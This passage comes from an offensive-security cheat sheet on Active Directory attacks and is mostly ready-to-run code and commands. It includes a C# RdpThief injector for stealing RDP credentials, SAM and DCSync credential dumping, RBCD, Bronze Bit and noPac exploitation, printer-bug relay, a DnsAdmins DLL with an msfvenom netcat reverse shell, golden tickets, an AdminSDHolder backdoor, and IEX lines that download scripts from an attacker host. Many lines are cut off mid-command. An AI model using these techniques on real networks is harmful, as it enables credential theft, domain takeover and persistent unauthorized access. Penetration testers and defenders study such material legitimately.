string dllName = @"C:\Temp\RdpThief.dll";
HashSet<int> PIDs = new HashSet<int>();
Console.WriteLine("[*] Joined the hunt for mstsc.exe processes...");
while (true)
{
Process[] mstscProc = Process.GetProcessesByName("mstsc");
if (mstscProc.Length > 0)
{
for (int i = 0; i < mstscProc.Length; i++)
{
int processId = mstscProc[i].Id;
if (!PIDs.Contains(processId))
{
Console.WriteLine($"[+] Detected non-hooked process with PID={proc
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
IntPtr dllAddress = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000,
IntPtr outSize;
bool res = WriteProcessMemory(hProcess, dllAddress, Encoding.Defau
if (res)
{
Console.WriteLine("[+] WriteProcessMemory succeeded!");
}
else
{
Console.WriteLine("[-] WriteProcessMemory failed :(");
}
IntPtr loadLibraryAddress = GetProcAddress(GetModuleHandle("kernel
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, load
if (hThread != null)
{
Console.WriteLine("[+] CreateRemoteThread succeeded!");
Console.WriteLine($"[*] Process {processId} is now hooked, loo
PIDs.Add(processId);
}
else
{
Console.WriteLine("[-] CreateRemoteThread failed :(");
}
}
}
}
Thread.Sleep(5000);
}
}
}
}

The DLL can be converted to shellcode with ConvertToShellcode.py (sRDI approach) and then
be injected into the target process. That would help to avoid dropping the DLL to disk:

beacon> rdpthief_enable
beacon> rdpthief_dump
beacon> rdpthief_disable

Abusing CredSSP / TSPKG

https://clement.notin.org/blog/2019/07/03/credential-theft-without-admin-or-touching-lsass-with-kekeo-
by-abusing-credssp-tspkg-rdp-sso/

RPC

SAM
Security Account Manager

reg.exe

Cmd > reg save hklm\system system.hive


Cmd > reg save hklm\sam sam.hive
$ secretsdump.py -system system.hive -sam sam.hive LOCAL

vssadmin

Cmd > wmic shadowcopy call create Volume='C:\'


Cmd > vssadmin list shadows
Cmd > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system syst
Cmd > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam sam.hiv
Mimikatz

PS > Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "log out.txt" "lsadump::sam

DCSync
DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-
hashes-from-domain-controller-with-dcsync
Tools

Mimikatz

mimikatz # lsadump::dcsync /domain:megacorp.local /user:MEGACORP\krbtgt


mimikatz # lsadump::dcsync /domain:megacorp.local /user:[email protected]

Invoke-Mimikatz

https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/credentials/Invoke-
Mimikatz.ps1

PS > Invoke-Mimikatz -Command '"lsadump::dcsync /domain:megacorp.local /user:MEGACORP\krbtgt"

Invoke-DCSync.ps1

https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/credentials/Invoke-
DCSync.ps1

PS > Invoke-DCSync -GetComputers -Domain megacorp.local -DomainController DC1.megacorp.local

secretsdump.py

$ secretsdump.py MEGACORP/snovvcrash:'Passw0rd!'@DC1.megacorp.local -dc-ip 192.168.1.11 -just-


$ secretsdump.py DC1.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -k -no

Targeted DCSync

When performing targeted DCSync (e.g., for persistence purposes) choose the most valuable accounts. One
can use the following LDAP query to search for effective domain admins ( adminCount=1 ) as well as DC
computer accounts ( SERVER_TRUST_ACCOUNT bit or userAccountControl=8192 is set):

(&
(|
(&(objectCategory=person)(objectClass=user))
(&(objectCategory=computer)(objectClass=computer))
)
(!(userAccountControl:1.2.840.113556.1.4.803:=2))
(|
(adminCount=1)
(userAccountControl:1.2.840.113556.1.4.803:=8192)
)
)

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u 'DC1$' --hash fc525c9683e8fe067095ba2ddc


$ for t in `cat high-value-targets.txt`; do secretsdump.py -pwd-last-set MEGACORP/'DC1$'@192.1
Or
$ secretsdump.py -pwd-last-set MEGACORP/snovvcrash:'Passw0rd!'@DC1.megacorp.local -dc-ip 192.1

Delegation Abuse

https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-
directory/
https://www.thehacker.recipes/ad-ds/movement/kerberos/delegations#theory

https://youtu.be/byykEId3FUs?t=2619
https://luemmelsec.github.io/S4fuckMe2selfAndUAndU2proxy-A-low-dive-into-Kerberos-delegations/

https://github.com/ShutdownRepo/The-Hacker-Recipes/raw/master/.gitbook/assets/Insomniha…

Constrained

Abusing Kerberos Constrained Delegation without Protocol Transition


snovvcrash@gh-pages:~$ _

Resource-based Constrained

Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
Shenanigans Labs
https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-
constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution

https://sensepost.com/blog/2020/chaining-multiple-techniques-and-tools-for-domain-takeover-using-
rbcd/

https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/RBCD_Abuse_Checker.ps1

MAQ (Machine Account Quota)


PowerShell (ActiveDirectory module):

PS > Get-ADObject -Identity "DC=megacorp,DC=local" -Properties * | select ms-ds-machineAccount

PowerView:

PV3 > Get-DomainObject -Identity "DC=megacorp,DC=local" | select ms-ds-machineAccountQuota

LDAP:

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd1!' -m custom --f

CrackMapExec:

$ cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M MAQ

RBCD from Windows


Load tools:

PS > IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/powermad.ps1")


PS > IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/powerview4.ps1")

Define credentials for the compromised account with the necessary DACL:

PS > $userWithDaclUsername = 'megacorp.local\snovvcrash'


PS > $userWithDaclPassword = ConvertTo-SecureString 'Qwe123!@#' -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential($userWithDaclUsername, $user

Add new machine account and configure RBCD (i.e., set msDS-
AllowedToActOnBehalfOfOtherIdentity property to value of the new machine account SID) on the
vulnerable host (DC01):

Powermad > New-MachineAccount -MachineAccount fakemachine1337 -Password $(ConvertTo-SecureStri


PV3 > $computerSID = Get-DomainComputer -Identity fakemachine1337 -Properties ObjectSid -Verbo
PS > $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CC
PS > $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS > $SD.GetBinaryForm($SDBytes, 0)
PV3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Se
PS > .\Rubeus.exe hash /domain:megacorp.local /user:fakemachine1337$ /password:Passw0rd!
FC525C9683E8FE067095BA2DDC971889

Ask TGS for CIFS and also inject other potentially useful service names into the ticket (sname field is not
protected in TGS-REQ):

PS > .\Rubeus.exe s4u /domain:megacorp.local /user:fakemachine1337$ /rc4:FC525C9683E8FE067095B

If the ticket cannot be imported or there's no access to corresponding services, troubleshoot it:

Try impersonating different privileged users when requesting the ticket.

Try using FQDN to NetBIOS under /msdsspn parameter (i.e., CIFS/DC01.megacorp.local >
CIFS/DC01 ).

After the ticket has been successfully imported we can go for filesystem access (CIFS), PSRemoting
(WSMAN), DCSync (LDAP) and so on:

PS > klist
# CIFS
PS > cd \\DC01.megacorp.local\c$
PS > ls
PS > c:
# WSMAN
PS > Enter-PSSession -ComputerName DC01.megacorp.local
PS > exit
# LDAP
PS > ...DCSync...

Cleanup:

PV3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Cl


Powermad > Remove-MachineAccount -MachineAccount fakemachine1337

PowerView 4.0

Configure RBCD on the vulnerable host (DC01):

PV4 > Set-DomainRBCD DC01 -DelegateFrom fakemachine1337 -Verbose


Cleanup:

PV4 > Set-DomainRBCD DC01 -Clear -Verbose

RBCD from Linux


Add new machine account:

$ addcomputer.py -computer-name 'fakemachine1337' -computer-pass 'Passw0rd!' -dc-ip 192.168.1

Ask TGS for LDAP:

$ getST.py -spn ldap/DC01.megacorp.local -impersonate 'DC01' -dc-ip 192.168.1.11 megacorp.loca

rbcd-attack

https://github.com/tothi/rbcd-attack

Configure RBCD on the vulnerable host (DC01):

$ python3 rbcd.py -f fakemachine1337 -t DC01 -dc-ip 192.168.1.11 megacorp.local/snovvcrash:'Pa


$ python3 rbcd.py -f fakemachine1337 -t DC01 -dc-ip 192.168.1.11 megacorp.local/'MEGACORP\SRV0

rbcd_permissions

https://github.com/NinjaStyle82/rbcd_permissions

Configure RBCD on the vulnerable host (DC01) via PtH:

$ python3 rbcd.py -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d megacorp.local -c

Bronze Bit

CVE-2020-17049

https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-theory/
https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/

Calculate Kerberos keys for the fake machine account with Get-KerberosAESKey:
PS > Get-KerberosAESKey -Password 'Passw0rd!' -Salt MEGACORP.LOCALfakemachine1337
AES128 Key: 01C7B89A74F7AEC1007DED2F3DE0A815
AES256 Key: 211E8E3134ED797B0A2BF6C36D1A966B3BED2B24E4AAA9ECEED23D0ABF659E98

Or with Mimikatz:

mimikatz # kerberos::hash /domain:megacorp.local /user:fakemachine1337 /password:Passw0rd!


* rc4_hmac_nt fc525c9683e8fe067095ba2ddc971889
* aes128_hmac 01c7b89a74f7aec1007ded2f3de0a815
* aes256_hmac 211e8e3134ed797b0a2bf6c36d1a966b3bed2b24e4aaa9eceed23d0abf659e98
* des_cbc_md5 621a91461f1adffe

Now you can impersonate a protected user:

$ addcomputer.py -computer-name fakemachine1337 -computer-pass 'Passw0rd!' -dc-ip 192.168.1.11


$ python3 rbcd.py -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d megacorp.local -c
$ getST.py -spn ldap/DC01.megacorp.local -impersonate 'administrator' -dc-ip 192.168.1.11 mega
$ secretsdump.py DC01.megacorp.local -just-dc-user 'MEGACORP\krbtgt' -dc-ip 192.168.1.11 -no-p

RBCD with UPNs

https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html

User j.doe is populated within the msDS-AllowedToActOnBehalfOfOtherIdentity property of the


SRV01 machine:

PS > Set-ADComputer SRV01 -PrincipalsAllowedToDelegateToAccount j.doe

Request a regular TGT for j.doe:

PS > .\Rubeus.exe asktgt /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /nowrap

Request a U2U ticket providing TGT within the /ticket and /tgs options and specifying the user to
impersonate within the /targetuser option (this is an S4U2self request):

PS > .\Rubeus.exe asktgs /u2u /targetuser:<USER_TO_IMPERSONATE> /nowrap /ticket:<TGT> /tgs:<TG

Obtain a hex view of the current TGT session key (RC4 HMAC):

$ python3 -c 'import binascii,base64;print(binascii.hexlify(base64.b64decode("<TGT_SESSION_KEY

Set j.doe's NT hash to the hexlified TGT session key:


$ smbpasswd.py megacorp.local/j.doe:'Passw0rd!'@DC01.megacorp.local -newhashes :<TGT_SESSION_K

Go for the S4U attack providing the initial TGT within the /ticket option and the forwardable TGS (got
from the U2U request) within the /tgs option (only the S4U2proxy part is performed):

PS > .\Rubeus.exe s4u /msdsspn:host/SRV01.megacorp.local /altservice:http /ticket:<TGT> /tgs:<

Automatization

https://github.com/GhostPack/Rubeus/pull/137

PS > .\Rubeus.exe s4u /u2u /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /impersonateuser

RBCD for PrivEsc

https://exploit.ph/delegate-2-thyself.html
https://exploit.ph/revisiting-delegate-2-thyself.html
https://www.praetorian.com/blog/red-team-privilege-escalation-rbcd-based-privilege-escalation-part-2/

https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#dcsync

sAMAccountName Spoofing

CVE-2021-42278, CVE-2021-42287

https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://exploit.ph/more-samaccountname-impersonation.html
https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing

https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/
https://github.com/cube0x0/noPac
https://gist.github.com/S3cur3Th1sSh1t/0ed2fb0b5ae485b68cbc50e89581baa6
https://github.com/Ridter/noPac

Check

Windows
Look at the size of the returned TGT. If the DC is not vulnerable, the TGT will contain the PAC
part and be obviously larger:

PS > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:snovv

Linux

$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M nopac

Exploit

Windows

# create a new machine account


PM > New-MachineAccount -Domain megacorp.local -DomainController DC01.megacorp.loca
# clear SPNs
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Clear se
# change fake machine's sAMAccountName
PM > Set-MachineAccountAttribute -MachineAccount FakeMachine -Value DC01 -Attribute
# request TGT
PS > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:DC01
# change fake machine's sAMAccountName once again
PM > Set-MachineAccountAttribute -MachineAccount FakeMachine -Value FakeMachine -At
# request S4U2self
PS > .\Rubeus.exe s4u /domain:megacorp.local /dc:DC01.megacorp.local /altservice:LD
# fire DCSync
PS > .\mimikatz.exe "lsadump::dcsync /domain:megacorp.local /dc:DC01.megacorp.local

Linux

Manually with Impacket:

https://gist.github.com/snovvcrash/3bf1a771ea6b376d374facffa9e43383

# create a new machine account


$ addcomputer.py -computer-name FakeMachine -computer-pass 'Passw0rd1!' -dc-host DC
# clear SPNs
$ addspn.py -u 'megacorp.local\snovvcrash' -p 'Passw0rd2!' -t 'FakeMachine$' -c DC0
# change fake machine's sAMAccountName
$ renameMachine.py megacorp.local/snovvcrash:'Passw0rd2!' -dc-ip 192.168.1.11 -curr
# request TGT
$ getTGT.py megacorp.local/DC01:'Passw0rd1!' -dc-ip 192.168.1.11
#
$ change fake machine's
renameMachine.py sAMAccountName once again
megacorp.local/snovvcrash:'Passw0rd2!' -dc-ip 192.168.1.11 -curr
# request S4U2self
$ KRB5CCNAME=DC01.ccache getST.py -spn LDAP/DC01.megacorp.local megacorp.local/DC01
# fire DCSync
$ KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC01.megacorp.local -j

Using noPac:
https://github.com/Ridter/noPac

# providing an existing (owned) computer account creds


$ python3 noPac.py megacorp.local/snovvcrash:'Passw0rd123!' -dc-host DC01.megacorp.

dNSHostName Spoofing

CVE-2022-26923

Abuse RBCD

mitm6 + WPAD + LDAPS NTLM Relay + RBCD

https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
https://chryzsh.github.io/relaying-delegation/
https://www.exploit-db.com/docs/48282

From Zero Credential to Full Domain Compromise (Haboob Team).pdf 2MB


PDF

$ sudo ntlmrelayx.py -t ldaps://DC01.megacorp.local --delegate-access --no-smb-server -wh atta


$ sudo mitm6 -i eth0 -d megacorp.local --ignore-nofqdn

WebDav + LDAPS NTLM Relay + RBCD

https://gist.github.com/gladiatx0r/1ffe59031d42c08603a3bde0ff678feb
https://gist.github.com/zimnyaa/dcac97f3106e96053a1acb6ca9974e55
https://pentestlab.blog/2021/10/18/resource-based-constrained-delegation/
https://github.com/med0x2e/NTLMRelay2Self

$ cme smb 192.168.1.0/24 -u snovvcrash -p 'Passw0rd!' -M webdav


$ sudo ntlmrelayx.py -t ldaps://DC01.megacorp.local --delegate-access --escalate-user 'PWNED-M
$ sudo ./Responder.py -I eth0 -wd -P -v
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' attacker@80/test.txt VICTI
$ getST.py -spn cifs/VICTIM.megacorp.local MEGACORP/'PWNED-MACHINE$' -dc-ip 192.168.1.11 -hash

Unconstrained

https://adsecurity.org/?p=1667

Enumerate:

PowerView3 > Get-DomainComputer -Unconstrained | select dnshostname,samaccountname,useraccount

Monitor for TGTs


Coerce authentication from a DC while monitoring for TGTs in the background on the owned unconstrained
delegation system:

Cmd > .\Rubeus.exe monitor /targetuser:DC1$ /interval:5 /nowrap


Cmd > .\SpoolSample.exe dc1.megacorp.local srv01.megacorp.local

Use ticket_converter or ticketConverter.py to convert the TGT from .kirbi to .ccache (usable with
impacket):

$ python ticket_converter.py dc1.kirbi dc1.ccache


$ KRB5CCNAME=`pwd`/dc1.ccache ...

"Relaying" Kerberos

https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/

A Note on Calculating Kerberos Keys for AD Accounts


snovvcrash@gh-pages:~$ _
From Zero Credential to Full Domain Compromise (Haboob Team).pdf 2MB
PDF

Printer Bug + DCSync

Requirements:

Owned computer account with unconstrained delegation enabled (SRV01).

Printer bug on a domain controller (DC01).

Permissions to add an SPN for the owned computer account and a new DNS record in AD.

1. Grab owned computer account password to calculate its Kerberos AES key. This is done automatically
when extracting the password remotely with secretsdump.py , or it will be done later by
krbrelayx.py when providing it the password in hex from local secretsdump.py output:

# Remotely
$ secretsdump.py MEGACORP/snovvcrash:'Passw0rd!'@SRV01.megacorp.local -ts
...
MEGACORP\SRV01$:aes256-cts-hmac-sha1-96:00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00

# Locally
Cmd > reg.exe save hklm\system system.hive
Cmd > reg.exe save hklm\security security.hive
$ secretsdump.py -system system.hive -security security.hive LOCAL
...
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:<PLAIN_PASSWORD_HEX>

2. Add a malicious SPN for the owned computer account with unconstrained delegation:

# Check (no modifications)


$ python addspn.py -u 'megacorp.local\SRV01$' -p :fc525c9683e8fe067095ba2ddc971889 -s HOST/evi
# Adding servicePrincipalName that doesn't match full hostname or samAccountName will fail
$ python addspn.py -u 'megacorp.local\SRV01$' -p :fc525c9683e8fe067095ba2ddc971889 -s HOST/evi
# But modifying msDS-AdditionalDnsHostName will succeed
$ python addspn.py -u 'megacorp.local\SRV01$' -p :fc525c9683e8fe067095ba2ddc971889 -s HOST/evi

3. Add a DNS record pointing to the attacker's host:

$ python dnstool.py -u 'megacorp.local\SRV01$' -p :fc525c9683e8fe067095ba2ddc971889 -r evil.me

4. Check that the record was added successfully (~ 3 minutes):

$ nslookup evil.megacorp.local <DC01_IP>


Server: 192.168.1.11
Address: 192.168.1.11#53

Name: evil.megacorp.local
Address: 10.10.13.37

5. Start krbrelayx.py providing AES key of the owned computer account or its plain password in hex
with salt:

# In case secretsdump.py was used remotely


$ sudo python krbrelayx.py -aesKey 00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00f
# In case secretsdump.py was used locally
$ sudo python krbrelayx.py --krbhexpass <PLAIN_PASSWORD_HEX> --krbsalt MEGACORP.LOCALhostsrv01

6. Coerce the authentication to attacker's host from DC01 by triggering printer bug:

$ python printerbug.py megacorp.local/'SRV01$'@DC01.megacorp.local -hashes :fc525c9683e8fe0670

7. Export extracted TGT and perform DCSync to get krbtgt hash (or any other privileged account hash):

$ export KRB5CCNAME=`pwd`/'[email protected][email protected]'
$ secretsdump.py DC01.megacorp.local -dc-ip <DC01_IP> -just-dc-user 'MEGACORP\krbtgt' -k -no-p

8. Cleanup. Delete SPN and DNS record:

$ python addspn.py -u 'megacorp.local\SRV01$' -p :fc525c9683e8fe067095ba2ddc971889 -s HOST/evi


$ python dnstool.py -u 'megacorp.local\SRV01$' -p :fc525c9683e8fe067095ba2ddc971889 -r evil.me
# Check if the SPN was deleted successfully
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u 'SRV01$' --hash fc525c9683e8fe067095ba2d

Other scenarios:

In this blogpost it is described how to perform the attack by abusing a service (user) account with
unconstrained delegation enabled.

In this blogpost it is described how to perform the attack from Windows by extracting TGT with Inveigh.

Discovery

Discover domain NetBIOS name:

PS > ([ADSI]"LDAP://megacorp.local").dc

PS > $DomainName = (Get-ADDomain).DNSRoot


PS > (Get-ADDomain -Server $DomainName).NetBIOSName
Discover DCs' FQDN names:

PS > nslookup -type=all _ldap._tcp.dc._msdcs.$env:userdnsdomain

PS > $ldapFilter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=819


PS > $searcher = [ADSISearcher]$ldapFilter
PS > $searcher.FindAll()
PS > $searcher.FindAll() | ForEach-Object { $_.GetDirectoryEntry() }
Or
PS > ([ADSISearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=81

PS > [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain().DomainControllers

Cmd > nltest /dsgetdc:megacorp.local

PS > $DomainName = (Get-ADDomain).DNSRoot


PS > $AllDCs = Get-ADDomainController -Filter * -Server $DomainName | Select-Object Hostname,I

PS > $AllDCs = (Get-ADForest).GlobalCatalogs

PV3 > Get-DomainController | Select Name,IPAddress

Discover global catalog:

PS > Get-ADDomainController -Discover -Service "GlobalCatalog"

Discover MS Exchnage servers' FQDN names:

https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSExchangeServers

PS > Discover-PSMSExchangeServers | Select ServerName,Description | Tee-Object exch.txt

Discover MS SQL servers' FQDN names:

https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers

PS > setspn -T megacorp.local -Q MSSQLSvc/*


PS > Discover-PSMSSQLServers | Select ServerName,Description | Tee-Object mssql.txt

DC IPs
Ask _ldap._tcp.dc._msdcs :

$ nslookup -type=srv _ldap._tcp.dc._msdcs.megacorp.local


$ dig -t srv _ldap._tcp.dc._msdcs.megacorp.local
Or query one of the DCs directly for forest/domain FQDN to get corresponding DC IP addresses:

$ dig @192.168.1.11 megacorp.local


$ dig @192.168.1.11 child.megacorp.local

Subnets

https://podalirius.net/en/articles/active-directory-sites-and-subnets-enumeration/

$ cme ldap 192.168.11.1 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -M subnets

DnsAdmins

https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-
a0f779b8dc83
http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-
directory.html
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-
system-to-domain-compromise

https://adsecurity.org/?p=4064

Exploit:

$ msfvenom -p windows/x64/exec cmd='c:\users\snovvcrash\documents\nc.exe 127.0.0.1 1337 -e pow


PS > dnscmd.exe <HOSTNAME> /Config /ServerLevelPluginDll c:\users\snovvcrash\desktop\i.dll
PS > Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLeve
PS > (sc.exe \\<HOSTNAME> stop dns) -and (sc.exe \\<HOSTNAME> start dns)

Cleanup:

PS > reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll


PS > (sc.exe \\<HOSTNAME> stop dns) -and (sc.exe \\<HOSTNAME> start dns)

Dominance
Silver Ticket
https://en.hackndo.com/kerberos-silver-golden-tickets/#silver-ticket

Kerberos Silver Ticket Attack Explained

Rubeus

Cmd > Rubeus.exe s4u /domain:megacorp.local /dc:dc1.megacorp.local /user:SRV01$ /rc

Impacket

$ getST.py megacorp.local/'SRV01$' -hashes :fc525c9683e8fe067095ba2ddc971889 -dc-ip

Golden Ticket

https://en.hackndo.com/kerberos-silver-golden-tickets/#golden-ticket
https://artkond.com/2016/12/18/pivoting-kerberos/

Kerberos Golden Ticket Attack Explained


Mimikatz

Cmd > .\mimikatz.exe "kerberos::golden /domain:megacorp.local /user:snovvcrash /sid


Cmd > .\mimikatz.exe "lsadump::dcsync /user:megacorp.local\krbtgt /domain:megacorp.

Impacket

$ ticketer.py -nthash 00ff00ff00ff00ff00ff00ff00ff00ff -domain-sid S-1-5-21-4266912


$ export KRB5CCNAME=`readlink -f snovvcrash.ccache`
$ psexec.py megacorp.local/[email protected] -k -no-pass
$ secretsdump.py megacorp.local/[email protected] -dc-ip 10.10.13.37 -

Diamond Ticket

https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/

AdminSDHolder Modification

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-
and-backdoor-adminsdholder-to-obtain-domain-admin-persistence
https://attack.stealthbits.com/adminsdholder-modification-ad-persistence

https://pentestlab.blog/2022/01/04/domain-persistence-adminsdholder/

Create a Backdoor

Add a new domain user or grant an existent user GenericAll permissions for the AdminSDHolder
container:

PV3 > Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=megacorp,DC=local" -T

Check that granting AdminSDHolder permissions was successful (may take 60+ minutes for the security
ACLs to get updated for that user):

PV3 > Get-DomainUser snovvcrash | select objectsid


S-1-5-21-2284550090-1208917427-1204316795-9824

PV3 > Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=megacorp,DC=local" -Domain

AceType : AccessAllowed
ObjectDN : CN=AdminSDHolder,CN=System,DC=megacorp,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID :
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2284550090-1208917427-1204316795-9824
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed

Now you can add yourself (the "snovvcrash" user) to the Domain Admins group any time and do stuff
(actually adding the user to Domain Admins every time is not necessary, as the AdminCount attribute will
stay 1 anyways after adding the backdoor user to a protected group for the first time):

PV3 > Add-DomainGroupMember -Identity "Domain Admins" -Members snovvcrash


PV3 > Get-DomainObjectAcl -Identity "Domain Admins" -Domain megacorp.local -ResolveGUIDs | ? {

AceType : AccessAllowed
ObjectDN : CN=Domain Admins,CN=Users,DC=megacorp,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-2284550090-1208917427-1204316795-512
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2284550090-1208917427-1204316795-9824
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed

PV3 > Remove-DomainGroupMember -Identity "Domain Admins" -Members snovvcrash


PV3 > Get-DomainUser snovvcrash | select admincount

admincount
----------
1

Remove the Backdoor

https://www.reddefenseglobal.com/blog/microsoft-domain-attack-techniques/admincount/
https://www.ucunleashed.com/1621

Disable or remove the account (if a new user was created):

PS > net user snovvcrash /domain /active:no


PS > net user snovvcrash /domain /del

Remove user AdminSDHolder container via GUI (ADUC, dsa.msc).

Clear the AdminCount attribute (will be resetted if the user is still in the AdminSDHolder container):

PV3 > Set-DomainObject -Identity snovvcrash -Domain megacorp.local -Clear admincount -Verbose
Or
PS > Get-ADUser snovvcrash | Set-ADObject -Clear admincount

Fix the inheritance rules:

PS > [bool]$isProtected = $false


PS > [bool]$PreserveInheritance = $true
PS > [string]$dn = (Get-ADUser snovvcrash).DistinguishedName
PS > $user = [ADSI]"LDAP://$dn"
PS > $acl = $user.objectSecurity
